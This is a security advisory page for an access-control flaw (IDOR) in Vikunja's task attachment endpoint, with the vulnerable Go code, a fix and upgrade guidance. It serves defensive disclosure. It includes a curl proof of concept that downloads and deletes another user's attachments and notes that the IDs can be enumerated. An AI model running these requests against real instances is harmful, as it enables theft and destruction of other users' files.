Vikjuna: IDOR in Task Attachment ReadOne Allows Cross-Project File Access and DeletionGHSA-jfmm-mjcp-8wq2
HIGHGHSA-jfmm-mjcp-8wq2 is a high-severity (CVSS 8.1) CWE-639 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jfmm-mjcp-8wq2.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.
Details
The vulnerability is in pkg/models/task_attachment.go in the ReadOne method:
// pkg/models/task_attachment.go:110-120
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID
if err != nil {
return
}
if !exists {
return ErrTaskAttachmentDoesNotExist{
TaskID: ta.TaskID,
AttachmentID: ta.ID,
}
}
// ...
}
The permission check in pkg/models/task_attachment_permissions.go validates access to the URL task, not the attachment's actual task:
// pkg/models/task_attachment_permissions.go:25-28
func (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task
return t.CanRead(s, a)
}
The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"):
// pkg/models/task_attachment.go:41-42
ID int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment"`
TaskID int64 `xorm:"bigint not null" json:"task_id" param:"task"`
Attack flow for read (GET):
The custom handler at pkg/routes/api/v1/task_attachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).
Attack flow for delete (DELETE):
The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.
This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND task_id = ? validation:
// pkg/models/task_comments.go:196-205 (the fix)
func getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {
query := s.Where("id = ?", tc.ID).NoAutoCondition()
if tc.TaskID != 0 {
query = query.And("task_id = ?", tc.TaskID)
}
// ...
}
PoC
Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).
Step 1: Attacker creates their own project and task.
# Attacker creates a project
curl -s -X PUT 'http://localhost:3456/api/v1/projects' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"attacker project"}' | jq '.id'
# Returns: 10
# Attacker creates a task in their project
curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"attacker task"}' | jq '.id'
# Returns: 50
Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).
curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \
-H 'Authorization: Bearer <victim_token>' \
-F '[email protected]'
# Returns attachment with id: 5
Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.
# Attacker accesses victim's attachment (id=5) via their own task (id=50)
curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
-H 'Authorization: Bearer <attacker_token>' \
-o stolen-file.pdf
# Returns: victim's secret-document.pdf
Step 4: Attacker can also delete the victim's attachment.
curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
-H 'Authorization: Bearer <attacker_token>'
# Returns: 200 OK — victim's attachment is deleted
Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).
Impact
- Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.
- Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.
- Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.
- Scope: Affects all Vikunja instances with task attachments enabled (the default).
Recommended Fix
Add task_id validation to ReadOne, mirroring the fix already applied to task comments:
// pkg/models/task_attachment.go
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
query := s.Where("id = ?", ta.ID)
if ta.TaskID != 0 {
query = query.And("task_id = ?", ta.TaskID)
}
exists, err := query.Get(ta)
if err != nil {
return
}
if !exists {
return ErrTaskAttachmentDoesNotExist{
TaskID: ta.TaskID,
AttachmentID: ta.ID,
}
}
// ... rest unchanged
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.2.1go get code.vikunja.io/api@v2.2.1 |
Affected Products
vikunjavikunjaDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jfmm-mjcp-8wq2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-jfmm-mjcp-8wq2 in your dependencies?
Find it across Go, including transitive dependencies.